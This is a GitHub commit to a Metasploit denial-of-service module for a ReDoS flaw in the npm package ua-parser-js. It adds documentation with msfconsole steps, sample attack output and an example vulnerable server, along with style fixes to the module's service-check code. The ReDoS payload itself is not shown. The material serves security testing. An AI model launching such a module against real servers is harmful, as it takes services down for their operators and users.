Skip to content

Commit 2d23054

Browse files
author
Nicholas Starke
committed
Changes as per comments
A few things were changed as per the PR comments: 1) The module title was reworded 2) The module description was multi-lined 3) Negative logic was rewritten to use 'unless' 4) Strings which did not require interpolation were rewritten 5) Documentation markdown was added.
1 parent 306c5d2 commit 2d23054

File tree

2 files changed

+77
-10
lines changed

2 files changed

+77
-10
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Vulnerable Application
2+
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
3+
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
4+
Any application that uses a vulnerable version of this module and calls the `getOS`
5+
or `getResult` functions will be vulnerable to this module. An example server is provided
6+
below.
7+
8+
```
9+
10+
```
11+
12+
## Verification Steps
13+
14+
Example steps in this format (is also in the PR):
15+
1. Create a new directory for test application.
16+
2. Copy below example server into test application directory as `server.js`.
17+
3. Run `npm i express` to install express in the test application directory.
18+
4. To test vulnerable versions of the module, run `npm i [email protected]` to install a vulnerable version of ua-parser-js.
19+
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
20+
6. Once all dependencies are installed, run the server with `node server.js`.
21+
7. Open up a new terminal.
22+
8. Start msfconsole.
23+
9. `use auxiliary/dos/http/ua_parser_js_redos`.
24+
10. `set RHOSTS <IP>`.
25+
11. `run`.
26+
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
27+
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
28+
29+
## Scenarios
30+
31+
### ua-parser-js npm module version 0.7.15
32+
33+
Expected output for successful exploitation:
34+
35+
```
36+
[*] Testing Service to make sure it is working.
37+
[*] Test request successful, attempting to send payload
38+
[*] Sending ReDoS request to 192.168.3.24:3000.
39+
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
40+
[*] Testing for service unresponsiveness.
41+
[+] Service not responding.
42+
[*] Auxiliary module execution completed
43+
```
44+
45+
### Example Vulnerable Application
46+
47+
```
48+
// npm i express
49+
// npm i [email protected] (vulnerable)
50+
// npm i ua-parser-js (non-vulnerable)
51+
52+
const express = require('express')
53+
const uaParser = require('ua-parser-js');
54+
const app = express()
55+
56+
app.get('/', (req, res) => {
57+
var parser = new uaParser(req.headers['user-agent']);
58+
res.end(JSON.stringify(parser.getResult()));
59+
});
60+
61+
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
62+
```

modules/auxiliary/dos/http/ua_parser_js_redos.rb

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -9,12 +9,17 @@ class MetasploitModule < Msf::Auxiliary
99

1010
def initialize
1111
super(
12-
'Name' => 'ua-parser-js npm module - Regular Expression Denial of Service',
12+
'Name' => 'ua-parser-js npm module ReDoS',
1313
'Description' => %q{
14-
This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16.
14+
This module exploits a Regular Expression Denial of Service vulnerability
15+
in the npm module "ua-parser-js". Server-side applications that use
16+
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
17+
if they call the "getOS" or "getResult" functions. This vulnerability was
18+
fixed as of version 0.7.16.
1519
},
1620
'References' =>
1721
[
22+
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
1823
['CWE', '400'],
1924
],
2025
'Author' =>
@@ -31,7 +36,7 @@ def initialize
3136
end
3237

3338
def run
34-
if !test_service
39+
unless test_service
3540
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
3641
else
3742
trigger_redos
@@ -66,36 +71,36 @@ def trigger_redos
6671

6772
def test_service_unresponsive
6873
begin
69-
print_status("Testing for service unresponsiveness.")
74+
print_status('Testing for service unresponsiveness.')
7075

7176
res = send_request_cgi({
7277
'uri' => '/' + Rex::Text.rand_text_alpha(8),
7378
'method' => 'GET'
7479
})
7580

7681
if res.nil?
77-
print_good("Service not responding.")
82+
print_good('Service not responding.')
7883
else
79-
print_error("Service responded with a valid HTTP Response; ReDoS attack failed.")
84+
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
8085
end
8186
rescue ::Rex::ConnectionRefused
82-
print_error("An unknown error occurred.")
87+
print_error('An unknown error occurred.')
8388
rescue ::Timeout::Error
84-
print_good("HTTP request timed out, most likely the ReDoS attack was successful.")
89+
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
8590
end
8691
end
8792

8893
def test_service
8994
begin
90-
print_status("Testing Service to make sure it is working.")
95+
print_status('Testing Service to make sure it is working.')
9196

9297
res = send_request_cgi({
9398
'uri' => '/' + Rex::Text.rand_text_alpha(8),
9499
'method' => 'GET'
95100
})
96101

97102
if !res.nil? && (res.code == 200 || res.code == 404)
98-
print_status("Test request successful, attempting to send payload")
103+
print_status('Test request successful, attempting to send payload')
99104
return true
100105
else
101106
return false

0 commit comments

Comments
 (0)